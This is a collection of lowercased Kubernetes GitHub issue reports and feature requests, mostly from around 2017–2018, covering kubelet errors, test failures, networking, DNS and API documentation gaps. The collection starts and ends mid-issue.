kubelet: e0914 20:47:18.395608   13436 kubelet_node_status.go:349  unable to update node status: update node status exceeds retry count\r    \r \r that's the really weird part: it's not always the rebooted master node that is affected. those logs start to show up in other worker and master node logs.\r \r rebooting those nodes doesn't solve the issue, so basically, my entire cluster is messed up, and the only workaround i have is totally rebuilding it.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : vsphere\r - os  e.g. from /etc/os-release : centos7\r - kernel  e.g.  uname -a  : 4.4.88-1.el7.elrepo.x86_64\r - install tools: ansible\r - others:\r \r 

what happened  :\r there is no default value message for  app/v1beta1  statefulset  statefulsetupdatestrategytype .\r this will confuse some users into thinking the default value of  app/v1beta1  statefulset  statefulsetupdatestrategytype  is same as  app/v1beta2 .\r refer to  56806 .\r \r   what you expected to happen  :\r add default value message as  app/v1beta2 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

see https://github.com/kubernetes/kubernetes/pull/60198 issuecomment-367627199.\r \r today kubelet image manager returns the internal image list cache to caller directly. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/images/image_gc_manager.go l127\r \r however, in  setnodestatusimages  we sort the image list, which introduces a data race.\r \r we should let image manager return a copy of image list instead of returning the list directly.\r \r /cc @kubernetes/sig-node-bugs

\r hello\r \r my setup\r 4 raspbian pi's\r os: raspbian stretch lite\r \r situation:\r when i clone my image to an .img file  16gb  and clone the images in the beginning to every pi on the cluster and set up a cluster everythings works fine.\r \r i am trying to shrink the .img file so that it wouldn't be that large and very easy to burn on a new pi or when pi gets broken. \r until know i used these 2 methods \r - www.aoakley.com/articles/2015-10-09-resizing-sd-images.php\r - https://github.com/drewsif/pishrink\r \r but after the shrinking part my kubernetes doesn't work like it was before  the shrinking part .\r meaning that when i run a simple nginx image it will create a pod and shedule it to the cluster. but the pod will get stuck at \ container creating\ .\r the describe pod command gives me the error \ failed create pod sandbox\  , \ pod sandbox changed\ \r \r journalctl -u kubelet gives the error: unable to update cni config : no networks found in /etc/cni/net.d .\r i used the exact same network plugin as before the shrinking part,  and i create the network plugin and the kubeadm init after i shrink it and expand it so the files are not corrupt during that process.\r if i ssh to the pi i can pull an image manually but the kubernetes cluster doesn't .\r \r can't i shrink the image when using kubernetes ? is it better to just leave the original size ? are there other ways to shrink the images ?\r

hack/verify-import-boss.sh  is a tool we use to reduce technical debt around rampant interdepencies between packages in the main k/k repository.\r \r the tool uses a file  .import-restrictions  in some directories that verify-import-boss.sh then uses to check. the syntax for the file is here:\r https://github.com/kubernetes/code-generator/blob/master/cmd/import-boss/main.go l32-l52\r \r we currently have the following  .import-restrictions  in the main k/k repository:\r    \r  dims@dims-mac 19:00  ~/go/src/k8s.io/kubernetes ⟩ find  . -name .import-res \r ./cmd/kubeadm/.import-restrictions\r ./pkg/.import-restrictions\r ./pkg/api/testing/.import-restrictions\r ./pkg/client/clientset_generated/.import-restrictions\r ./pkg/controller/.import-restrictions\r ./pkg/kubectl/.import-restrictions\r ./pkg/kubemark/.import-restrictions\r ./pkg/printers/.import-restrictions\r ./pkg/printers/internalversion/.import-restrictions\r ./staging/src/k8s.io/apiserver/.import-restrictions\r ./staging/src/k8s.io/code-generator/cmd/lister-gen/.import-restrictions\r    \r what needs to be done?\r - open up the  .import-restrictions  file, check if  allowedprefixes  under different  rules  are correct. \r   - the packages listed are still being used in the code under the pacakge\r   - if there are outside packages that are used, but not listed under  allowedprefixes  then add those packages\r - possibly add new .import-restrictions for different directories under  /staging/src/k8s.io/  so we can be sure each directory under that is self-contained.\r - if the .import-restrictions looks correct, then leave a comment in this issue so others don't duplicate the work. if you want to work on a specific file, leave a note so others don't spend their time on the same work.\r \r prior art  see how we did this in earlier prs :\r - https://github.com/kubernetes/kubernetes/pull/35148\r - https://github.com/kubernetes/kubernetes/pull/53458\r - https://github.com/kubernetes/kubernetes/pull/63740\r \r /good-first-issue\r

@kargakis @lubinsz \r \r i have a suspicion that this pr broke a sig-apps test:\r https://github.com/kubernetes/kubernetes/pull/74293\r diff: https://github.com/kubernetes/kubernetes/compare/d6de0454e...b96378c05\r \r   which jobs are failing  :\r kubeadm-gce-master\r  release blocking \r \r   which test s  are failing  :\r   sig-apps  daemon set  serial  should rollback without unnecessary restarts  conformance changes\r \r   since when has it been failing  :\r 02-22\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-cluster-lifecycle-all kubeadm-gce-master\r \r   reason for failure  :\r    \r  sig-apps  daemon set  serial  should rollback without unnecessary restarts  conformance  1m30s\r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-apps\\ \\sdaemon\\sset\\s\\ serial\\ \\sshould\\srollback\\swithout\\sunnecessary\\srestarts\\s\\ conformance\\ $'\r test/e2e/framework/framework.go:704\r expected\r     <int>: 3\r to equal\r     <int>: 0\r test/e2e/apps/daemon_set.go:418\r    \r \r  /   \r @kubernetes/sig-cluster-lifecycle \r cc @alejandrox1 @mariantalla \r

it's far too easy to have the pre-commit check pass only due to uncommitted changes.  also, because it takes so long, i have moved it from pre-commit to pre-push anyway.  i propose we run all the checks inside a docker container, and we build the docker tarball from a clean checkout of head.  this will take a bit longer, but it would provide a more useful signal.

just putting our current documentation in the form of yaml would make it much easier to get nice documents. we already generate .man files and .md, so this shouldn't be too much work.

forked from https://github.com/kubernetes/kubernetes/pull/34376 discussion_r86272573\r \r containers created with a tty do not have separate stdout, stderr streams. we can either assume a single \ stdout\  stream  as docker does today , or define a new \ tty\  stream type for it  suggested by @euank .\r \r /cc @kubernetes/sig-node \r

so that daemonset can schedule critical pods onto nodes, and kubelet will preempt non-critical pods.  40573 \r \r @kubernetes/sig-apps-feature-requests @erictune @vishh

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r fieldref\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+776c994\ , gitcommit:\ a9e9cf3\ , gittreestate:\ clean\ , builddate:\ 2017-01-24t15:12:46z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+43a9be4\ , gitcommit:\ 43a9be4\ , gittreestate:\ clean\ , builddate:\ 2017-04-13t11:14:20z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r ec2 instance\r \r -   os    e.g. from /etc/os-release :\r \r red hat enterprise linux server 7.3  maipo \r \r -   kernel    e.g.  uname -a  :\r \r linux 3.10.0-514.el7.x86_64  1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r    \r $ cat test.yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: env-not-usable\r   labels:\r     mykey: myvalue\r spec:\r   containers:\r     - name: test-container\r       image: gcr.io/google_containers/busybox\r       command:   \ /bin/sh\ , \ -c\ , \ env\   \r       env:\r         - name: some_label\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.labels\r   restartpolicy: never\r $ kubectl create -f test.yaml\r the pod \ env-not-usable\  is invalid: spec.containers 0 .env 0 .valuefrom.fieldref.fieldpath: unsupported value: \ metadata.labels\ : supported values: metadata.name, metadata.namespace, spec.nodename, spec.serviceaccountname, status.podip\r $\r    \r \r   what you expected to happen  :\r \r i expect the above to work since the api docu claims this is supported.\r \r    \r curl -k https://localhost:8443/swaggerapi/api/v1\r ....\r    \ v1.envvarsource\ : {\r     \ id\ : \ v1.envvarsource\ ,\r     \ description\ : \ envvarsource represents a source for the value of an envvar.\ ,\r     \ properties\ : {\r      \ fieldref\ : {\r       \ $ref\ : \ v1.objectfieldselector\ ,\r       \ description\ : \ selects a field of the pod: supports metadata.name, metadata.namespace, metadata.labels, metadata.annotations, spec.nodename, spec.serviceaccountname, status.podip.\ \r      },\r ...\r    \r \r it mentions metadata.labels and metadata.annotations as supported.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r see above\r \r   anything else we need to know  :\r \r i know that this feature is not supported. see https://github.com/kubernetes/kubernetes/issues/19367\r \r the is more a bug report about the docu which claims falsely that the feature is supported.\r

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-master/65 k8sio-emptydir-wrapper-volumes-should-not-cause-race-condition-when-used-for-configmaps-serial-slow   grid  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-gci-1-7-upgrade-master&width=5&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20emptydir%5c%20wrapper%5c%20volumes%5c%20should%5c%20not%5c%20cause%5c%20race%5c%20condition%5c%20when%5c%20used%5c%20for%5c%20configmaps%5c%20%5c%5bserial%5c%5d%5c%20%5c%5bslow%5c%5d \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir_wrapper.go:161\r test panicked\r /usr/local/go/src/runtime/panic.go:458\r    \r

we hope  kubeadm  can support offline installer such as  kubectl  and  minikube , because we can't access google cloud in china.

after https://github.com/kubernetes/kubernetes/pull/53233, we observed pods moving from phase  succeeded  to  pending .  presents on master and release-1.8 as it was picked in https://github.com/kubernetes/kubernetes/pull/53422\r \r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test\r spec:\r   containers:\r   - command:\r     - bash\r     - -c\r     - trap 'excode=$?; trap \ \  exit; cmd; echo $excode' exit hup int quit pipe term;\r       sleep 5\r     env:\r     image: centos:centos7\r     imagepullpolicy: ifnotpresent\r     name: test-container \r   restartpolicy: never\r   terminationgraceperiodseconds: 30\r    \r test script\r    \r kubectl create -f pod.yaml; sleep 3; kubectl delete -f pod.yaml\r    \r  oc  has an  observe  command for basically doing a cli watch\r    \r oc observe pods --output=gotemplate -a '{{.}}' | grep phase\r    \r or you can look in the kubelet log to see the phase transition from  succeeded  to  pending \r \r thanks to @joelsmith @frobware for helping isolate this :+1: \r \r @dashpole @derekwaynecarr @smarterclayton \r \r  \r \r

 cc @kubernetes/sig-scheduling-bugs \r \r   what happened  : running one scheduling predicates conformance test on a 1.7.10 cluster where node names are fqdn, e.g. kube-node-0.kubernetes.mesos, fails.\r \r    \r  21:36:48  step 4/8  • failure  83.160 seconds \r  21:36:48  step 4/8   k8s.io  schedulerpredicates  serial \r  21:36:48  step 4/8  /pkg/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:619\r  21:36:48  step 4/8    validates resource limits of pods that are allowed to run  conformance   it \r  21:36:48  step 4/8    /pkg/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:160\r  21:36:48  step 4/8  \r  21:36:48  step 4/8    expected error:\r  21:36:48  step 4/8        < errors.statuserror | 0xc42022bb80>: {\r  21:36:48  step 4/8            errstatus: {\r  21:36:48  step 4/8                typemeta: {kind: \ \ , apiversion: \ \ },\r  21:36:48  step 4/8                listmeta: {selflink: \ \ , resourceversion: \ \ },\r  21:36:48  step 4/8                status: \ failure\ ,\r  21:36:48  step 4/8                message: \ pod \\\ filler-pod-kube-node-5-kubelet.kubernetes.mesos\\\  is invalid: spec.containers 0 .name: invalid value: \\\ filler-pod-kube-node-5-kubelet.kubernetes.mesos\\\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \ ,\r  21:36:48  step 4/8                reason: \ invalid\ ,\r  21:36:48  step 4/8                details: {\r  21:36:48  step 4/8                    name: \ filler-pod-kube-node-5-kubelet.kubernetes.mesos\ ,\r  21:36:48  step 4/8                    group: \ \ ,\r  21:36:48  step 4/8                    kind: \ pod\ ,\r  21:36:48  step 4/8                    uid: \ \ ,\r  21:36:48  step 4/8                    causes:  \r  21:36:48  step 4/8                        {\r  21:36:48  step 4/8                            type: \ fieldvalueinvalid\ ,\r  21:36:48  step 4/8                            message: \ invalid value: \\\ filler-pod-kube-node-5-kubelet.kubernetes.mesos\\\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \ ,\r  21:36:48  step 4/8                            field: \ spec.containers 0 .name\ ,\r  21:36:48  step 4/8                        },\r  21:36:48  step 4/8                     ,\r  21:36:48  step 4/8                    retryafterseconds: 0,\r  21:36:48  step 4/8                },\r  21:36:48  step 4/8                code: 422,\r  21:36:48  step 4/8            },\r  21:36:48  step 4/8        }\r  21:36:48  step 4/8        pod \ filler-pod-kube-node-5-kubelet.kubernetes.mesos\  is invalid: spec.containers 0 .name: invalid value: \ filler-pod-kube-node-5-kubelet.kubernetes.mesos\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \r  21:36:48  step 4/8    not to have occurred\r  21:36:48  step 4/8  \r  21:36:48  step 4/8    /pkg/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:807\r    \r \r   what you expected to happen  : the tests should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r follow  these instructions to deploy kubernetes 1.7.10 on dc/os  https://github.com/mesosphere/dcos-kubernetes-quickstart quickstart  or bootstrap a kubernetes cluster where nodes names are fqdn, e.g. my-node-1.example.com.\r \r   anything else we need to know?  :\r \r also affects master but not 1.8.x.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.10\ , gitcommit:\ bebdeb749f1fa3da9e1312c4b08e439c404b3136\ , gittreestate:\ clean\ , builddate:\ 2017-11-03t16:31:49z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/lsb-release\r distrib_id=\ container linux by coreos\ \r distrib_release=1465.6.0\r distrib_codename=\ ladybug\ \r distrib_description=\ container linux by coreos 1465.6.0  ladybug \ \r    \r - kernel  e.g.  uname -a  : \r    \r $ uname -a\r linux pires-aa53f593-private-agents-ff9n.c.massive-bliss-781.internal 4.12.7-coreos  1 smp tue aug 15 23:54:56 utc 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r - install tools:  kubernetes 1.7.10 on dc/os  https://github.com/mesosphere/dcos-kubernetes-quickstart quickstart \r - others: none\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r   what happened  : pull-kubernetes-unit job fails, while looking through the error log, it is unclear what the exact cause of failure is.\r    i1128 11:26:20.972  message:error: requesting groups or user-extra for  without impersonating a user\r i1128 11:26:20.972  has:without impersonating a user\r i1128 11:26:21.216  certificatesigningrequest \ foo\  created\r i1128 11:26:21.371  test-cmd-util.sh:4453: successful get csr/foo {{.spec.username}}: user1\r i1128 11:26:21.503  test-cmd-util.sh:4454: successful get csr/foo {{range .spec.groups}}{{.}}{{end}}: system:authenticated\r i1128 11:26:21.680  certificatesigningrequest \ foo\  deleted\r i1128 11:26:21.932  certificatesigningrequest \ foo\  created\r i1128 11:26:22.112  test-cmd-util.sh:4459: successful get csr/foo {{len .spec.groups}}: 3\r i1128 11:26:22.282  test-cmd-util.sh:4460: successful get csr/foo {{range .spec.groups}}{{.}} {{end}}: group2 group1 ,,,chameleon\r i1128 11:26:22.440  certificatesigningrequest \ foo\  deleted\r i1128 11:26:22.456  +++ exit code: 0\r w1128 11:26:22.636  warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r i1128 11:26:22.737  no resources found\r i1128 11:26:22.784  no resources found\r i1128 11:26:22.786  test failed\r i1128 11:26:22.854  junit report dir: /workspace/artifacts\r i1128 11:26:22.858  +++  1128 11:26:22  clean up complete\r i1128 11:26:22.860  makefile:292: recipe for target 'test-cmd' failed\r w1128 11:26:22.960  warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r w1128 11:26:22.961  i1128 11:26:22.808774   28324 naming_controller.go:285  shutting down namingconditioncontroller\r w1128 11:26:22.961  i1128 11:26:22.812591   28324 controller.go:90  shutting down openapi aggregationcontroller\r w1128 11:26:22.961  i1128 11:26:22.812894   28324 serve.go:129  stopped listening on 127.0.0.1:6443\r w1128 11:26:22.961  i1128 11:26:22.812961   28324 serve.go:129  stopped listening on 127.0.0.1:8080\r w1128 11:26:22.962  i1128 11:26:22.814484   28324 autoregister_controller.go:160  shutting down autoregister controller\r w1128 11:26:22.962  make:      test-cmd  error 1\r w1128 11:26:23.986  traceback  most recent call last :\r w1128 11:26:23.987    file \ /root/kubernetes-ci/test-infra/./jenkins/../scenarios/kubernetes_verify.py\ , line 112, in <module>\r w1128 11:26:24.455      main args.branch, args.script, args.force \r w1128 11:26:24.456    file \ /root/kubernetes-ci/test-infra/./jenkins/../scenarios/kubernetes_verify.py\ , line 96, in main\r w1128 11:26:24.456      'bash', '-c', 'cd kubernetes && %s' % script,\r w1128 11:26:24.456    file \ /root/kubernetes-ci/test-infra/./jenkins/../scenarios/kubernetes_verify.py\ , line 54, in check\r w1128 11:26:24.456      subprocess.check_call cmd \r w1128 11:26:24.456    file \ /usr/lib/python2.7/subprocess.py\ , line 541, in check_call\r w1128 11:26:24.504      raise calledprocesserror retcode, cmd \r w1128 11:26:24.504  subprocess.calledprocesserror: command ' 'docker', 'run', '--rm=true', '--privileged=true', '-v', '/var/run/docker.sock:/var/run/docker.sock', '-v', '/etc/localtime:/etc/localtime:ro', '-v', '/root/kubernetes-ci/test-infra/github.com/kubernetes/kubernetes:/go/src/k8s.io/kubernetes', '-v', '/root/kubernetes-ci/test-infra/github.com/kubernetes/kubernetes/_artifacts:/workspace/artifacts', '-e', 'kube_force_verify_checks=n', '-e', 'kube_verify_git_branch=master', '-e', 'repo_dir=/root/kubernetes-ci/test-infra/github.com/kubernetes/kubernetes', 'gcr.io/k8s-testimages/kubekins-test:1.9-v20171018-6ddbad97', 'bash', '-c', 'cd kubernetes && ./hack/jenkins/test-dockerized.sh' ' returned non-zero exit status 2\r e1128 11:26:24.505  command failed\r i1128 11:26:24.505  process 11080 exited with code 1 after 28.8m\r e1128 11:26:24.508  fail: pull-kubernetes-unit\r    \r \r pfa complete build log  build-log.txt  https://github.com/kubernetes/kubernetes/files/1526612/build-log.txt \r \r \r   what you expected to happen  : the build to move ahead after running command: run_impersonation_tests\r \r   how to reproduce it  as minimally and precisely as possible   : executed the following command,  root@xyz:~/kubernetes-ci/test-infra  ./jenkins/bootstrap.py --job=pull-kubernetes-unit --repo=github.com/kubernetes/kubernetes \r  https://github.com/kubernetes/test-infra \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9\r - cloud provider or hardware configuration: x86 64-bit vm. 8gb ram, 2 cores cpu.\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  : 4.4.0-21-generic\r \r /area test-infra\r 

 \r we are running a coreos and kubernetes environment on bare-metal as well as vm.  nginx is running as a nodeport service.  there is no other load balancer involved  external or otherwise .  kubernetes performs source nat of incoming requests as described  here  https://kubernetes.io/docs/tutorials/services/source-ip/ source-ip-for-services-with-typenodeport .  \r \r in our case, nginx and other apps running behind nginx need to know the actual ip of the requesting end-point.  i tried upgrading to kubernetes 1.7 and setting flag externaltrafficpolicy to false.  the yaml i use to set up the nginx nodeport service looks something like below.  \r   even with this, i am not able to see the actual source ip.  \r \r    \r {\r       \ kind\ : \ service\ ,\r       \ apiversion\ : \ v1\ ,\r       \ metadata\ : {\r         \ name\ : \ nginx-service\ ,\r \t\t\ labels\ : {\r \t\t  \ appid\ : \ xxx\ ,\r \t\t  \ app\ : \ nginx\ \r \t\t}  \r       },\r       \ spec\ : {\r         \ ports\ :  {\r           \ name\ : \ http\ ,\r \t\t  \ nodeport\ : 80,\r \t\t  \ port\ : 80,\r           \ targetport\ : 80\r         },\r \t\t{\r           \ name\ : \ https\ ,\r \t\t  \ nodeport\ : 443,\r \t\t  \ port\ : 443,\r           \ targetport\ : 443\r         } ,\r         \ selector\ : {\r           \ app\ : \ nginx\ \r         },\r \t\t\ clusterip\ : \ 10.3.0.150\ ,\r         \ type\ : \ nodeport\ ,\r         \ externaltrafficpolicy\ : \ local\ \r       }\r }\r    \r later i chanced upon some online documentation that mentioned externaltrafficpolicy is supported only in a google cloud environment.  \r \r - is  externaltrafficpolicy supported on baremetal / vm installations?\r \r - on such baremetal / vm installations, how can kube-proxy be configured to give the actual source ip of the requesting endpoint ?\r \r   kubectl version output  \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t00:18:18z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7+coreos.0\ , gitcommit:\ 2aa47c8ec16177de41d4c8cad63c1ba0b7bd6d78\ , gittreestate:\ clean\ , builddate:\ 2017-09-29t22:25:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   os details  \r coreos  4.11.9-coreos

we should add a linter to make sure that api types contain json tags, and with the correct case, etc.\r \r see https://github.com/kubernetes/kubernetes/pull/65234 discussion_r196556344 for more context.\r \r   \r /cc @liggitt @sttts @caesarxuchao @lavalamp @roycaihw \r

we recently started observing flaky failures in couple of kubemark jobs:\r \r - https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-500\r - https://k8s-testgrid.appspot.com/sig-scalability-kubemark kubemark-100-high-density\r \r e.g failed run - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/16634\r \r the reason seems to be that  kubelet was failing to start  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/16628/artifacts/kubemark-500-kubemark-master/kubelet.log  kube-apiserver pod with such errors continuously:\r \r    \r e0902 22:43:47.915221    2169 remote_runtime.go:92  runpodsandbox from runtime service failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-kubemark-500-kubemark-master\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:245: running exec setns process for init caused \\\ exit status 16\\\ \ \r e0902 22:43:47.915292    2169 kuberuntime_sandbox.go:54  createpodsandbox for pod \ kube-apiserver-kubemark-500-kubemark-master_kube-system bd6f956583b54bdf5a90b93b7e3a7e3d \  failed: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-apiserver-kubemark-500-kubemark-master\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:245: running exec setns process for init caused \\\ exit status 16\\\ \ \r    \r \r i'll try digging up a bit, but @yujuhong @mtaufen - do you have any leads on why this might be happening?\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t

trying to set up a validating admission webhook on my gke cluster using the following yaml:\r \r    \r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: test-admission-webhook\r webhooks:\r   - name: my-admission-webhook.io\r     rules:\r       - apigroups:\r           - \ \ \r         apiversions:\r           - \ v1\ \r         operations:\r           - \ create\ \r         resources:\r           - \ pods\ \r     failurepolicy: ignore\r     clientconfig:\r       url: \ https://192.168.99.1:8080\ \r       cabundle: %%test_bundle%%\r    \r \r and my server is still down, i can't run any pod on my cluster, getting the following error:\r \r    \r error creating: timeout: request did not complete within allowed duration\r    \r \r even when i removed the  failurepolicy  field from my yaml file  which is supposed to default to  ignore  as mentioned in the  official doc  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ webhook-v1beta1-admissionregistration-k8s-io   and i'm getting the same error.\r \r \r  

i have a kubernetes cluster setup using rancher 2.0 to provision the cluster on bare-metal nodes. dns lookups inside the cluster work fine as well as lookups for hosts on the local network. all lookups are done in a test pod running on the cluster. \r \r bash-4.4  nslookup kubernetes  kubernetes dns test\r server:         10.43.0.10\r address:        10.43.0.10 53\r \r non-authoritative answer:\r name:   kubernetes.default.svc.cluster.local\r address: 10.43.0.1\r \r bash-4.4  nslookup mysql-mysql.mysql  test to another namespace\r server:         10.43.0.10\r address:        10.43.0.10 53\r \r name:   mysql-mysql.mysql.svc.cluster.local\r address: 10.43.158.48\r \r bash-4.4  nslookup deepsea  test to local server not connected to kubernetes cluster\r server:         10.43.0.10\r address:        10.43.0.10 53\r \r non-authoritative answer:\r name:   deepsea.falconindustries.ca\r address: 10.0.0.139\r \r bash-4.4  nslookup www.google.ca  test to host on the internet does not work\r server:         10.43.0.10\r address:        10.43.0.10 53\r \r non-authoritative answer:\r name:   www.google.ca.falconindustries.ca\r address: xxx.xxx.xxx.xxx\r name:   www.google.ca.falconindustries.ca\r address:  ipv6 public address \r \r bash-4.4  nslookup www.google.ca  .    test to same host works when trailing '.' is added\r server:         10.43.0.10\r address:        10.43.0.10 53\r \r non-authoritative answer:\r name:   www.google.ca\r address: 172.217.1.163\r name:   www.google.ca\r address: 2607:f8b0:400b:809::2003\r \r all servers can lookup google.ca without the trailing '.' this is only required for kubernetes pods.\r 

what would you like to be added  :\r i want to be able to list all the kinds in my cluster using just  kubectl .\r \r today, i can see all the groups and versions with  kubectl get apiversions .\r but i can't see what kinds are in that group.\r \r  you can get this from swagger, but that requires using e.g.  curl . \r \r the aggregation layer already sets the status for apiservice kind.\r it could set the list of kinds in that group as part of the status as well.\r \r   why is this needed  :\r \r as a user: as i add more ttypes  e.g. operators  to my cluster, it is hard to keep track of what kinds i have available.\r \r as someone concerned about kubectl code: i don't want kubectl to have to do this on the client side using swagger. \r

the work for isolating storage is complete, but there are a series of follow on items for completeness:\r -  x  cleanup: remove etcd references that have proliferated through the code  17546\r -     test example, for in-memory data store \r -     documentation on howto add a new data store\r -     requirements for different resource objects  write latency, durability, watch/triggers etc.  \r -  x  create new store integration that meets requirements of resource object s . \r \r /cc @kubernetes/sig-scalability @abhgupta\r

environment  : -   cloud provider or hardware configuration  :vagrant virtualbox  -   os    e.g. from /etc/os-release :  \ ubuntu/trusty64\  -   kernel    e.g.  uname -a  :3.13.0-96-generic -   install tools  : -   others  :    what happened  :  i met a error when run  build/run.sh make   i ran  build/make-clean.sh  fisrt, and set kube_verbose=9, and then  bash -x ./build/run.sh make       root@vagrant-ubuntu-trusty-64:/var/go2/src/k8s.io/kubernetes  bash -x ./build/run.sh make ... ... + _output/bin/deepcopy-gen --v 9 --logtostderr -i k8s.io/kubernetes/federation/apis/federation,k8s.io/kubernetes/federation/apis/federation/v1beta1,k8s.io/kubernetes/pkg/api,k8s.io/kubernetes/pkg/api/unversioned,k8s.io/kubernetes/pkg/api/v1,k8s.io/kubernetes/pkg/apis/apps,k8s.io/kubernetes/pkg/apis/apps/v1alpha1,k8s.io/kubernetes/pkg/apis/authentication,k8s.io/kubernetes/pkg/apis/authentication/v1beta1,k8s.io/kubernetes/pkg/apis/authorization,k8s.io/kubernetes/pkg/apis/authorization/v1beta1,k8s.io/kubernetes/pkg/apis/autoscaling,k8s.io/kubernetes/pkg/apis/autoscaling/v1,k8s.io/kubernetes/pkg/apis/batch,k8s.io/kubernetes/pkg/apis/batch/v1,k8s.io/kubernetes/pkg/apis/batch/v2alpha1,k8s.io/kubernetes/pkg/apis/certificates,k8s.io/kubernetes/pkg/apis/certificates/v1alpha1,k8s.io/kubernetes/pkg/apis/componentconfig,k8s.io/kubernetes/pkg/apis/componentconfig/v1alpha1,k8s.io/kubernetes/pkg/apis/extensions,k8s.io/kubernetes/pkg/apis/extensions/v1beta1,k8s.io/kubernetes/pkg/apis/imagepolicy,k8s.io/kubernetes/pkg/apis/imagepolicy/v1alpha1,k8s.io/kubernetes/pkg/apis/policy,k8s.io/kubernetes/pkg/apis/policy/v1alpha1,k8s.io/kubernetes/pkg/apis/rbac,